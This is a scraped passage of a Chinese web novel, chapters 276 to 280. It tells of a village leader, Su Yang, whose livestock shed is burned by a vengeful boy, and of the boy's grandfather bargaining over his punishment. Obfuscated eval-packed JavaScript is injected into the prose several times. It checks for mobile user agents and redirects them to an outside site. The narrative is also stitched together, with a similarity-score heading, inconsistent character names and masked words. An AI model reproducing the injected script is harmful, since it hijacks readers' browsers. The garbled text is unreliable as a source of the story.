他已经打听到,攻破青虎岭的时候,青龙村的那些泥腿子,可是出了大力的! 两件事一联系,顾明远有充分的理由相信,他的八个亲信,就是死在青龙村人手里! 退一步说,就算猜错了,也没关系。 青龙村既然参与了攻打山寨,这笔血债,他迟早要找青龙村的人算清楚! “青龙村……” 顾明远从牙缝里挤出几个字,眼中燃烧着仇恨的火焰: “老子要是不杀光你们,就从这清阳县城楼上跳下去!” …… 苏阳并不知道,自己已经被仇家盯上了。 他正忙着训练新加入的那些年轻人。 人数从二十来个,转眼间扩充到七十来号兄弟,训练的难度可想而知。 即便有陈木生、路旭东这些有经验的人帮忙,苏阳也累得够呛。 当然,也可能是被气的。 相比之下,钱福生就更惨了。 连续帮好几十位乡亲做理疗,老钱感觉自己快要油尽灯枯了。 这些村民,平日里哪舍得花钱看病,个个都是一身毛病。 不是腰椎间盘突出,就是颈椎错位,还有各种陈年旧伤。 处理起来简直头大。 要不是他钱福生医术高明,经验丰富,早就坚持不住了! 好在,看到那些村民感激涕零的样子,钱福生心里还是挺满足的。 “咔!”腰椎复位,酸痛立刻减轻! “咔!”颈椎归位,头晕眼花顿时消失! “咔!”腿骨接上,走路都变得利索! “神医啊!真是神医!” 村民们赞不绝口,把钱福生捧上了天。 …… 苏阳这边忙得不亦乐乎,另一边,赖志成的老婆王氏,急得像热锅上的蚂蚁。 她实在等不下去了,就带着妹妹王婉苏,还有年幼的儿子,离开了青龙村,回娘家求助。 她想让父亲王麻山帮忙,打听一下赖志成的消息。 在晋朝,人们习惯用“哥”、“姐”来称呼自己的儿女。 王麻山看到两个闺女带着外孙回来,心里就咯噔一下。 还没等他开口问,大女儿王氏就扑到他怀里,放声大哭起来。 “大丫头,这是咋了?谁给你气受了?跟爹说,爹帮你出气!” 王麻山心疼坏了,声音都变了调。 王氏哭得说不出话来,王婉苏在一旁解释: “爹,我姐夫人间蒸发了!也不知道是跑了,还是出了啥事……我姐想让您帮忙找找。” “啥?赖志成这家伙突然消失了?咋回事?!” 王麻山一听,脸都绿了。他猛地一拍桌子,茶碗都震得跳了起来。王麻山黑着一张脸,把大女儿王氏单独拎进了里屋。 这婆娘,嘴碎得很,万一秃噜嘴说错了话,大家脸上都挂不住。 里屋的门“吱呀”一声关上,把外头的嘈杂隔绝了大半。 赖志成的老婆才不管那些,一进屋,就跟爆豆子似的开始倒苦水。 从赖志成腆着脸花钱买苏阳的捕鸟法子开始,到后来赖志成“识破诡计”、“被迫远遁”,一桩桩一件件,说得那叫一个详细。 当然,是经过她“精心润色”的版本。 话里话外,苏阳就是个十恶不赦的奸诈小人,专门坑蒙拐骗。自家男人赖志成,则是忍辱负重、最后不得不跑路的受害者。 她说得唾沫横飞,眼巴巴地瞅着王麻山,等着老爹雷霆震怒,拍案而起。 最好是带着一群人,杀回青龙村,把苏阳那小王八蛋剥皮抽筋,让他身败名裂,这辈子都爬不起来了! 结果…… 王麻山像根木头,杵在那儿,一声不吭。 “爹,你倒是说句话啊!这是咋了?” 王氏急了,这老头子今儿个是吃错药了? 王麻山这人,毛病不少,可疼闺女是出了名的。在村里横行霸道,却是个十足的女儿奴。 以前,甭管姐妹俩提啥要求,上天捞月亮他都恨不得试试。 可今天,邪了门了,他跟个锯了嘴的葫芦似的,一言不发,这反常的举动让王氏心里发毛。 “哎……” 王麻山长长叹了口气,声音里透着一股子疲惫: “大丫头,听爹一句劝,回去就当赖志成**,别再提他,更别去找苏二的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王氏彻底崩溃了,她无法接受这个事实,身子一软,差点瘫倒在地上。 “爹,你……你肯定是不想管我,才这么说的,对不对? 第二百七十六章 ”她抬起头,死死地盯着王麻山,试图从他的脸上找到一丝破绽。 王麻山无奈地叹了口气,他知道,这个被自己宠坏了的女儿,一时半会儿是听不进去劝的。 “大丫头,爹没骗你,句句都是实话。”王麻山放缓了语气,耐心地劝道,“你去镇上打听打听,苏二的名声,现在比谁都响!别说爹,就是其他几个村正绑一块,也未必能把他怎么样。” 王氏再怎么不信,也只能信了。她跌坐在椅子上,目光呆滞,仿佛失去了所有的希望。 连三溪镇的村正们都斗不过苏二,那她和儿子,还有什么指望? 就在这时,紧闭的房门外,突然传来一个声音,打破了屋内的沉寂。 “娘,别怕,有我呢!” 声音虽然稚嫩,却带着一股子狠劲儿。 “等我回去,就想法子弄死苏二,给爹报仇!” “谁?!” 王麻山猛地转身,看向门口,眼神像刀子一样锋利。 他和王氏关着门说话,墙外有双贼耳朵! 不过,他很快就反应过来,是外孙卓小四。 “小四,你……” 王氏看到儿子,脸上刚露出一丝欣慰,却被王麻山的一声怒吼打断。 “闭嘴!你个蠢婆娘!” 王麻山冲着王氏吼道,声音大得像是要掀翻屋顶。 他快步走到卓小四面前,一把揪住他的衣领,把他提了起来: “小兔崽子,你说什么?你要弄死谁?啊?!” 卓小四被吓得脸色发白,但他仍然梗着脖子,毫不示弱地瞪着王麻山。 “放开我!我要弄死苏二!给爹报仇!” “你……” 王麻山气得浑身发抖,扬起手就要打。 “爹!别打!别打小四!” 王氏吓坏了,扑上来抱住王麻山的胳膊,哭喊着求饶。 “小四还是个孩子,他不懂事!你别跟他一般见识!” “不懂事?我看他是欠收拾!” 王麻山怒吼着,手上的力道却没有放松。 他瞪着卓小四,眼睛里冒着火光,恨不得把他扔到火炉里烧成灰。 这小崽子,小小年纪就这么狠毒,再长大点还了得? 苏二是什么人?那是能随便招惹的吗? 那天在青虎岭上,苏阳一箭射死乜圆子的狠劲,王麻山现在想起来还心惊肉跳。 吕巡检都拿他没办法,自己算个屁? “老东西,你放开我!你敢打我,等我长大了,我弄死你!” 卓小四挣扎着,冲着王麻山大喊大叫,声音里充满了仇恨。 这下,王麻山彻底被激怒了。 他猛地从靴子里抽出**,明晃晃的刀尖直指卓小四的喉咙。 “小兔崽子,我看你是活腻歪了!今天我就替你爹好好教训教训你!” 王氏吓得魂飞魄散,尖叫一声,扑上去抱住王麻山的腿,哭喊着求饶: “爹!你不能啊!小四是你的亲外孙啊!你不能杀他!” 王婉苏也闻声赶来,看到这一幕,吓得脸色惨白,也跟着跪下求情。 卓小四看着明晃晃的**,终于感到了害怕,他低下头,不敢再和王麻山对视。 但眼神里,却依旧闪烁着不甘和怨毒。 王麻山盯着卓小四看了很久,最终还是慢慢收起了**,但脸色依旧铁青。 “你们护着他吧!迟早有一天,你们会后悔的!” 王麻山冷冷地说道,声音里充满了失望和愤怒。 他的话,像是一道诅咒,在房间里回荡。 果然,没过多久,他的话就应验了。 还没等到天黑,王氏和王婉苏就慌慌张张地跑了过来,脸色煞白,声音颤抖。 “爹!不好了!出事了!小四……那小子消失不见了!”晚饭时分,苏阳感觉浑身像是被拆散了架的破车,每一个零件都叫嚣着疲惫。 一整天的操练,比以往任何时候都要累人。 他重重地坐在凳子上,仿佛能听到骨头缝里发出的酸涩呻吟。 自从樊小娥她们三个无家可归的女人来了之后,林绮娘的日子倒是好过了不少。 以前那些挑水劈柴之类的重体力活,如今全被那三个女人争先恐后地包揽了。 苏阳有时甚至觉得,这哪是收留了三个难民,分明是请了三个保姆。 家里的饭菜质量也跟着蹭蹭上涨。 在苏阳和林绮娘的悉心指导下,樊小娥她们的手艺进步神速,现在也能做出几道像样的菜了。 “阳哥儿,快趁热吃!” 林绮娘端着一大海碗红烧肉,笑盈盈地摆在苏阳面前。 她心里清楚,自家男人这身板,干了一天的重活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450316|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,全靠这碗油水来补充体力。 苏阳也没客气,抓起两个白面馒头,夹起红烧肉就往嘴里塞。 那吃相,真叫一个狼吞虎咽。 一众小子都在旁边眼巴巴地瞅着。 直到苏阳开始动筷,他们才纷纷开动。 也不知打哪儿来的规矩,苏阳不动筷,无人胆敢动筷。 那些老早就跟着苏阳的小子,倒还沉得住气。 好歹也算见过点世面,还不至于为了一口吃的就失了仪态。 可新来的那些小子就不同了。 这两天,他们感觉像是掉进了蜜罐里,每天都能吃上三顿饱饭,而且顿顿都有肉腥。 这日子,简直比地主老财家过的还滋润! “为了这口吃的,练死也值了!” 一个新来的小子一边往嘴里扒饭,一边含糊不清地嘟囔着。 正当众人吃得热火朝天的时候,一股子焦糊味儿突然飘了进来。 起先,这味道还很淡,就像是哪家烧火做饭时不小心烧糊了锅底。 可没一会儿,这味道就变得呛鼻起来,浓烟也开始往屋里涌。 紧接着,一阵阵牲口的嘶鸣声也从远处传来,夹杂着惊慌和混乱。 苏阳猛地丢下饭碗,顺手从墙上摘下一把**,大步流星地冲了出去: “出事了,抄家伙!” 其他小子一听,也顾不上吃饭了,纷纷扔下碗筷,拿起自己的武器,紧跟着苏阳冲了出去。 刚一出院门,苏阳就明白发生了什么。 原本院子里的牲畜棚早就挤满了,为了安置新买的牲口,苏阳让人在院子后面的一块空地上,用竹子、木头和茅草简单搭了个更大的棚子。 此时,那新搭的牲畜棚已经完全被火焰吞噬。 大火熊熊燃烧,火光冲天,浓烟滚滚,把半边天都映成了红色。 “**,这是怎么搞的!” 苏阳心里咯噔一下,一种不祥的预感涌上心头。 他三步并作两步,绕到后院。 只见牲畜棚已经烧成了一片火海。 圈养的畜生都被吓坏了,早就挣脱了束缚,像没头苍蝇一样四处乱窜。 “哞——” 一头浑身是火的公牛,像发疯了一样,朝着苏阳就顶了过来。 苏阳眼疾手快,一个侧身,险险地避开了牛角。 第二百七十七章 那公牛一击不中,又调转方向,朝着旁边的一个小子冲去。 “小心!” 苏阳大吼一声,可还是晚了一步。 那小子虽然躲开了牛的正面冲撞,但还是被牛尾巴扫到,一下子摔倒在地。 幸好他反应够快,在地上滚了几圈,才没被牛蹄子踩到。 其他人也好不到哪儿去。 这些牲口都受了惊,一个个横冲直撞,根本不分敌我。 大伙儿被逼得手忙脚乱,四处躲闪。 好在这些小子平时都练过,身手还算敏捷,才没有造成更大的伤亡。 看着眼前的火海,苏阳知道,这牲畜棚是彻底完了。 现在最要紧的,是赶紧把这些受惊的牲口控制住,防止它们作恶伤人。 可这些牲口早就吓破了胆,在村子里到处乱窜。 有些甚至冲进了村民的家里,把屋里的东西撞得七零八落。 苏阳的心都提到了嗓子眼。 他一边组织人手灭火,一边大声喊道: “都别愣着了!赶紧把牲口都找回来,莫让它们害人性命!” 他最担心的就是牲口伤人。 这年头,人命可不值钱。 真要出了人命,他苏阳可担不起这个责任。 正当苏阳心急如焚的时候,孔远山跌跌撞撞地跑了过来,脸色苍白,上气不接下气地喊道: “二哥!不好了!出大事了!张婆婆被牛给顶了,人……人快不行了!” 苏阳只觉得脑袋“嗡”的一声,差点没晕过去。 他一把抓住孔远山的肩膀,急切地问道: “人在哪儿?快带我去!” 两人一路狂奔,来到了张婆婆家。 只见张婆婆躺在炕上,脸色惨白如纸,嘴角还不断地往外渗着血沫子。 她的胸口明显凹陷下去一块,呼吸微弱,眼看着就出气多,进气少了。 “钱福生呢?快去把赵大夫请来!” 苏阳急得嗓子都喊破了。 “来了,来了……” 钱福生这些日子在青龙村可算是出了名。 他免费给村民们看病,治好了不少疑难杂症,被村里人传得神乎其神。 如今听说有村民受伤,他觉得自己大展身手的机会来了,一溜小跑就赶了过来。 可当他看清张婆婆的伤势后,顿时就傻了眼。 骨折扭伤他还能应付,可这内伤……他实在是没有把握。 更何况,他现在手里头缺医少药,就算能开出方子,也没地方抓药去。 眼瞅着天就黑了,就算现在派人去城里,也来不及了。 清阳县的城门一关,谁也别想进去! 钱福生急得直跺脚,却一点办法也没有。 张婆婆的家人一看这情形,彻底崩溃了,一个个哭得死去活来。 苏阳心里头又急又怒。 好好的一场晚饭,被这场突如其来的大火给搅得乱七八糟。 牲畜棚被烧了,牲口也跑了大半,现在还出了人命…… 这事儿,绝对不能就这么算了! “查!给我狠狠地查!” 苏阳的眼中闪过一道寒光: “一定要把这起火的原因查清楚!我倒要看看,是谁这么大胆子,敢在老子的地盘上捣鬼!” 他转头对陈木生说道: “石头,你去把里正给我叫来,让他把村里所有人都召集起来,一个一个地查!我就不信,这火还能自己烧起来不成!” “是,二哥!” 陈木生答应一声,转身就跑。 苏阳又对路旭东吩咐道: “旭东,你带几个人,把村子的几个出口都给我守住了!未经我首肯,任何人不得进出!” “是!” 路旭东也领命而去。 “远山,你带几个人,去村里打听打听,看看有没有人看到什么可疑的人或者事儿。” 苏阳的语气阴沉得可怕: “这把火,绝对不是意外!” “二哥放心,我一定把这事儿查个水落石出!” 孔远山拍着胸脯保证道。 …… 另一边,王麻山一行人正摸黑赶路。 他们坐着一辆破旧的马车,颠簸在崎岖不平的乡间小路上。 王麻山心里头焦急万分。 他这次来青龙村,可是带着重要任务来的。 可还没等他赶到地方,就远远地看见青龙村的方向火光冲天,浓烟滚滚。 “坏了,坏了,这下可坏了!” 王麻山急得直跺脚,额头上青筋暴起。 “爹,这是咋了?出啥事了?” 坐在他身边的两个女儿,被这突如其来的变故吓得花容失色,颤抖着声音问道。 “还能咋了?肯定是出大事了!” 王麻山没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“卓小四,你小子给老子滚出来!再不出来,老子可要砸门了!” 院子里,卓小四正得意地欣赏着远处的浓烟。 第二百七十八章 他可不知道,这火就是他为了报复苏阳,偷偷放的。 小孩子心性,只想着让苏阳吃瘪,根本没想过后果。 这会儿,他看着火光冲天,内心爽到飞起。 突然,他听到有人喊自己名字,吓得一个激灵,回头一看,差点没吓尿了。 只见大柳树上,不知啥时候竟然爬上来两个人! 卓小四心里“咯噔”一下,心想:坏了,莫非是放火的事让人发现了? 他做贼心虚,拔腿就往后院跑。 “石头哥,他跑后院去了!” 树上的小子眼尖,院内的情况一目了然。 卓小四想从后门溜,一听这话,急忙刹住脚,又朝着另一边的院墙跑。 他寻思着,只要自己动作快,就能赶在陈木生绕过来之前翻墙逃走,然后去临溪村找他娘。 谁知,他刚爬上墙头,还没来得及往下跳,就看见墙外站着俩人,正是苏阳的手下! 原来,陈木生早就猜到他会来这一手,提前派人在院子另一侧等着,来了个瓮中捉鳖。 卓小四一下子傻了眼,上也不是,下也不是,“扑通”一声,又摔回了院子里。 “你们别过来!谁过来……我就……我就把房子点了!” 卓小四急了,扯着嗓子喊,声音都变了调。 他平时在家就喜欢用这招吓唬人,屡试不爽,把爹娘治得服服帖帖。 可陈木生他们根本不吃这一套。 “行啊,你小子有种!点啊!老子倒要看看,你怎么把自家房子给烧了!” 陈木生冷笑一声。 话音刚落,只听“扑通扑通”两声,那两个躲在树上的家伙已经溜进院里。 卓小四彻底慌了,像只没头苍蝇,在院子里乱撞。 他年纪小,哪里跑得过苏阳手下那两个精壮的小伙子? 没几下,就被一脚踹倒在地,按了个结结实实。 “哎哟……疼……疼死我了……” 卓小四杀猪般地嚎叫起来。 以往他哥欺负他的时候,可从来没这么疼过! 苏阳手下那俩小子可不惯着他,下手没轻没重。 为了防止他乱喊乱叫,不知从哪儿找来一块破布,直接塞进了他的嘴里。 大门锁着,不好走。 俩小子索性打开后门,像拎小鸡仔一样把卓小四拎了出去。 陈木生扫了卓小四一眼,心里已经有了数,这火八成就是这小子放的。 只见卓小四脸上黑一道白一道,全是炭灰,一看就是刚玩过火。 “将这家伙拿下,让二哥定夺!” 陈木生大手一挥,下了命令。 “呜……呜呜……” 卓小四嘴里塞着布,只能发出呜呜的声音,眼神里写满了惊恐。 他想起之前苏阳是怎么处置和四的: 和四在村里偷鸡摸狗,被苏阳抓了个正着。 就在村口那棵老槐树下,苏阳一刀下去,和四就没气了。 当时卓小四就在旁边看着,吓得好几天没睡好觉。 现在,他落到了苏阳手里,能有什么好果子吃? 想到这里,卓小四吓得浑身发抖。 他不想死,他还想活着。 可他嘴巴被堵,手脚被绑,再怎么挣扎也是白费力气。 没过多久,卓小四就被带到了苏阳跟前。 苏阳看着眼前这个乳臭未干的熊孩子,眉头紧锁,心中五味杂陈。 怎么办? 直接把他交给官府? 可这年头,官府哪有心思管这些鸡毛蒜皮的小事? 再说,卓小四还是个孩子,就算官府受理,多半也是把他爹娘叫来,训斥一顿,赔点钱了事。 可这样一来,岂不是纵容了这小子? 他今天敢放火烧牲畜棚,明天就敢干出更出格的事! 苏阳思来想去,决定先听听大家的意见。 “石头,去把村里人都叫来,就说我有要紧事和大家商量!” “得嘞,二哥!” 陈木生刚要走,负责看守村口的路旭东急匆匆地跑了过来: “阳哥儿,赖志成的婆娘和临溪村的村正来了,说是要见你,你看这事儿……” 路旭东一脸为难,额头上都急出了汗。锣声急促,一声紧似一声。 像是要把人的魂儿都给敲出来。 青龙村里,能喘气的都往晒粮场赶。 牲畜棚那火,烧得邪乎。 谁心里都跟明镜似的。 苏阳这会儿敲锣,除了这事,还能有啥? 最后一抹晚霞也散了。 晒粮场四周,火把熊熊,照得跟白昼一般。 “土台下头捆着的,是谁啊?” “好像是……赖志成家的?” 有人眼尖,瞅见了被捆得结结实实的卓小四。 “嘶……这是要赶尽杀绝?” 旁边的人一听,吓得直缩脖子。 “闭嘴!不要命啦?听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏阳点点头,让人把王麻山放了过来。 第二百七十九章 至于赖志成的老婆? 想都别想! “谁知道她是不是跟卓小四一伙的?万一她对村正动手,谁负责?” 苏阳手下的小子,现在可不是吃素的。 周阳和林韧,一左一右,护在王麻山身旁。 两人手里拎着的家伙,寒光闪闪,看着就让人心慌。 王麻山一脸无奈。 要不是闺女求他,他才懒得管这破事。 “老弟啊,这孩子还小,不懂事,你就高抬贵手,给他一次机会算了!” 王麻山把姿态放得很低,近乎哀求。 苏阳嘴角一撇,露出一丝冷笑: “郑村正,有句话,我得先问明白。这把火,不是你让卓小四放的吧?” 他这话一出口,王麻山的心“咯噔”一下。 他感觉苏阳这是要搞事。 这是要借题发挥,把自己也给收拾了? 他可不认为这是玩笑。 “老弟,你可不能冤枉好人!我啥人品你还不清楚?我能干出这种事?” 王麻山急了,声音都变了调。 “我可没说一定是你,不过,这事跟你外孙脱不了干系。至于你嘛……我得好好想想。” 苏阳这话,软中带硬。 王麻山冷汗都下来了。 “郑村正,除了救你外孙,你是不是还想打听打听,你那好女婿,赖志成,他上哪儿去了?” 苏阳突然换了个话题。 “这……” 王麻山感觉自己像是被扒光了衣服,站在大庭广众之下。 这苏二,说话也太直接了! 一点面子都不给! “你不用急着否认。你那好女婿去哪儿了,我不知道,也没兴趣知道。不过,他干的那些破事,我可得跟你说道说道。这些事,你闺女估计没告诉你吧?她这是坑你呢……” 苏阳的声音不大,却像一记记重锤,砸在王麻山的心上。 他感觉自己好像掉进了一个陷阱。 “大丫头,你还有啥瞒着我的?” 王麻山猛地回头,死死盯着自家闺女。 赖志成的老婆拼命摇头: “苏二,你别胡说八道!我家这口子虽然得罪了你,你也不能血口喷人!你说他跟土匪勾结,要害青龙村,你倒是拿出证据来啊!别整天就会瞎嚷嚷……” “证据?” 苏阳冷笑一声。 “我让人跟他当面对质,那不算证据?非得把他的人头摆在你面前,你才信?” 苏阳的声音,在夜空中回荡。赖志成老婆自诩伶牙俐齿,可碰上苏阳,算是踢到铁板上了。她自以为占理,尖着嗓子嚷嚷: “呸!谁知道你从哪儿找来的阿猫阿狗,随便拉个人就说是证人?” 她越说越觉得自己有理,双手叉腰,唾沫阳子乱飞, “我呸!我还说你是土匪头子呢!” 苏阳被这泼妇的无赖劲儿给逗乐了: “哦?” 他故意停顿了一下, “我把俘虏带回来,是要跟赖志成当面对质。他不跑,这事儿不就清楚了?他跑什么?” “谁说我家男人跑了?” 赖志成老婆像是被踩了尾巴的猫,声音都变了调, “他是去县里告状!找青天大老爷做主!谁知道你这挨千刀的半路下黑手!” 她终于找到机会,把憋在心里的话一股脑倒了出来,手指头几乎戳到苏阳的鼻子上: “你家拉货的牛车,原本就是我家的!是我家男人和儿子出门时坐的!现在牛车到了你家,人没了!不是你害的,还能有谁?” 苏阳理都懒得理她,目光越过她,看向站在人群外围的王麻山: “郑村正,在场的都是乡里乡亲,您德高望重,大伙儿都信服您,您给评评理,这事儿到底该怎么办?” 他顿了顿,提高了声音,确保每个人都能听清楚: “清水村有个当土匪的倒霉蛋,招供说在青虎岭亲眼见过赖志成,还亲耳听见赖志成说要跟土匪一起算计我,算计咱们青龙村!” 他故意停顿,观察着众人的反应,尤其注意王麻山的表情变化。 “赖志成死活不认,抵死不认!我有什么办法?只好去三溪镇找吕巡检,想让他派几个衙役押着俘虏回来对质。谁知道,我前脚刚走,赖志成和卓麻后脚就溜了!这不明摆着心里有鬼吗?” 苏阳冷笑一声, “郑村正,您是明白人,这事儿您说怎么办?” “不……不可能!你胡说八道,你血口喷人……” 赖志成老婆的声音越来越小,底气也越来越不足。 苏阳的每个字都像一记重锤,狠狠砸在她心上。 每一个细节都清清楚楚,根本不像是在说谎。 难道…… 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458798|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念头刚一冒出来,就被她狠狠掐灭。 不可能!绝对不可能! 她猛地一甩头,像是要把这个可怕的念头甩出去。 突然,她感觉衣角被人拽了拽。 回头一看,是自家小妹王婉苏。 王婉苏站在她身后,脸色苍白,嘴唇紧紧抿着,一副欲言又止的样子。 “婉苏,你咋了?” 赖志成老婆心里咯噔一下,有种不祥的预感。 王婉苏早就知道赖志成父子算计苏阳的事。 这事儿把她折磨得够呛,良心备受煎熬。 和土匪勾结,祸害自己村子,这跟她从小到大学的那些道理完全背道而驰! 这段时间她吃不下睡不着,整个人都快崩溃了。 眼看自家大姐还被蒙在鼓里,像个傻子一样被赖志成父子耍得团团转,王婉苏实在看不下去了。 她深吸一口气,凑到赖志成老婆耳边,用只有她们两个人能听到的声音说: “大姐,苏二……他讲的千真万确。我亲耳听见……姐夫他们商量着要和青虎岭的土匪一起算计苏二……” “不……不可能!” 赖志成老婆尖叫一声,猛地推开王婉苏, “你胡说!你胡说!” 她嘴上说着不信,身体却不受控制地颤抖起来,心里掀起惊涛骇浪。 她虽然泼辣,平日里也跟着赖志成欺负人,可还没坏到跟土匪勾结、祸害乡亲的地步。 更让她无法接受的是,这么大的事,赖志成父子竟然瞒着她! 这说明什么? 这说明人家根本没把她当成一家人! 一股寒意从脚底直窜头顶,她感到一阵阵眩晕。 “那……那牛车呢?你倒是说说,牛车是怎么回事?” 她强撑着最后一口气,死死盯着苏阳, “别想糊弄我!” 孔远山抢着说: “牛车?我们在大路上捡的呗!谁知道赖志成父子俩滚哪儿去了,说不定早就……” “你住口!” 赖志成老婆厉声打断他, “一对父子骑着老黄牛去了城里,你们偶遇那辆牛车,那他们人呢?难不成还能飞了?” 孔远山被她吼得一愣,随即怪笑着说: “飞了?嘿,说不定真飞了!谁知道赖志成那老小子是不是得罪了哪路神仙,被一道雷给劈了! 第二百八十章 ” 他挤眉弄眼,满脸的幸灾乐祸, “要我说啊,指不定是赖志成那老东西自己个儿心虚,扔下牛车跑路了!他干的那些缺德事,他自己心里清楚!” 赖志成老婆眼前一阵发黑。 孔远山的话虽然难听,但却像一根针,戳破了她心里最后一丝幻想。 她下意识地看向王麻山,发现王麻山脸色铁青,额头上青筋暴起,显然也起了疑心。 完了,全完了。 赖志成平日里做的那些缺德事,谁不知道? 自家男人什么德行,她这个当老婆的比谁都清楚! 王麻山站在人群里,脸色由青转白,又由白转红,变幻莫测。 他心里跟明镜似的,苏阳说的话,八成是真的。 “赖志成,你个王八蛋,老子被你害惨了!” 他在心里把赖志成的祖宗十八代都问候了一遍, “你跟谁使坏不行,偏偏要跟土匪勾结!这下可好,把老子也给搭进去了!” 他越想越害怕,额头上的汗珠子像断了线的珠子一样往下掉。 赖志成是土匪的同伙,他这个当老丈人的,能落得着好? 一旦被吕巡检知道了,他这村正的位置肯定保不住,搞不好还得吃官司! 不行,得赶紧想办法撇清关系! 他眼珠子一转,心里有了主意。 他深吸一口气,强压下心头的慌乱,换上一副痛心疾首的表情, “苏老弟啊,这事儿……这事儿老哥真是被蒙在鼓里啊!” 他走到苏阳面前, “我刚听说了,是这熊孩子以为你坑了他老爸,这才放的火。唉,这孩子,太不懂事了!” 他指着卓小四, “国有国法,家有家规,他是你们青龙村的人,按理说应该由你这个村正处置。可……可这孩子毕竟是我外孙,我……我实在下不去手啊!” 他“老泪纵横”, “苏老弟,老哥求求你,就当给我个面子,别跟他一般见识……” “爹……” 赖志成老婆一听这话,顿时急了, “你咋能这样呢?小四可是你亲外孙!” “你给我闭嘴!” 王麻山怒吼一声,打断了她的话, “妇道人家,懂个屁!这小兔崽子小小年纪就敢放火,长大了还得了?不严加管教,将来肯定是个祸害!” 他转向苏阳,换上一副恳求的语气: “苏老弟,老哥知道你是个明事理的人,这事儿……你看能不能这样,把这小兔崽子交给吕巡检,让吕巡检来处置。吕巡检公正严明,肯定会给他一个公正的判决。” 苏阳听了,心里冷笑。 这老狐狸,倒是打得一手好算盘! 交给吕巡检? 那不就等于把烫手山芋扔出去了吗? 到时候卓小四是死是活,都跟他王麻山没关系了。 他既能保全自己的名声,又能避免跟苏阳直接冲突,还能借吕巡检的手除掉卓小四这个祸根,真是一举多得! 赖志成老婆却以为王麻山是真心为卓小四好,急忙说: “对对对,交给吕巡检!吕巡检肯定会秉公处理的!” 她以为吕巡检看在卓小四是个孩子的份上,肯定会给个机会的。 可她话音刚落,王麻山就猛地一拍大腿,大声喊道: “不行!绝对不行!交给吕巡检,那不是把这小兔崽子往火坑里推吗?” 他指着卓小四,声色俱厉地说: “这小兔崽子跟他爹一样,都是跟土匪勾结的坏种!吕巡检最恨的就是土匪,要是知道这小兔崽子是赖志成的儿子,还不扒了他的皮?” 他一把抓住卓小四的胳膊, “不行,我不能眼睁睁看着他去送死!苏老弟,这小兔崽子就交给你了!你想怎么处置就怎么处置,老哥绝无二话!” 苏阳:“……” 赖志成的媳妇儿:“……” 王婉苏:“……” 吃瓜群众:“……”王麻山脸上笑呵呵,心里MMP。 苏二这小兔崽子,给脸不要脸,竟然算计到老子头上来了? 真以为老子是泥捏的? 吕巡检那老东西,现在一门心思跟青虎岭的土匪较劲,眼睛里揉不得沙子。 赖志成跟土匪那点破事,要是让吕巡检知道了,他王麻山还想有好? 到时候别说乌纱帽了,脑袋能不能保住都两说! 绝对不能让苏阳把卓小四弄走! 哪怕这小兔崽子是他的亲外孙! 王麻山越想越憋屈,眼珠子转来转去,从鼻孔里往外喷着粗气。 自从在三溪镇见了苏阳,他就觉得这小子不是个省油的灯。 文段2(相似度:0.47):( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458799|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已优化) 孔远山一看苏阳没说话,心里更得意了。 他这是摸准了苏阳的心思啊! 阳哥儿不说话,那就是默许! 孔远山清了清嗓子,把声音提得更高: “我跟你说,这事没得商量!必须送官!” “吕巡检怎么判,咱们就怎么认!一个子儿都不能少!” 他一边说,一边拿眼睛瞟着赖志成的老婆,观察着她的反应。 赖志成的老婆彻底慌了神,眼泪像断了线的珠子一样往下掉。 她心里清楚,这回是真没辙了。 卓小四干的这事,搁哪儿都说不过去。 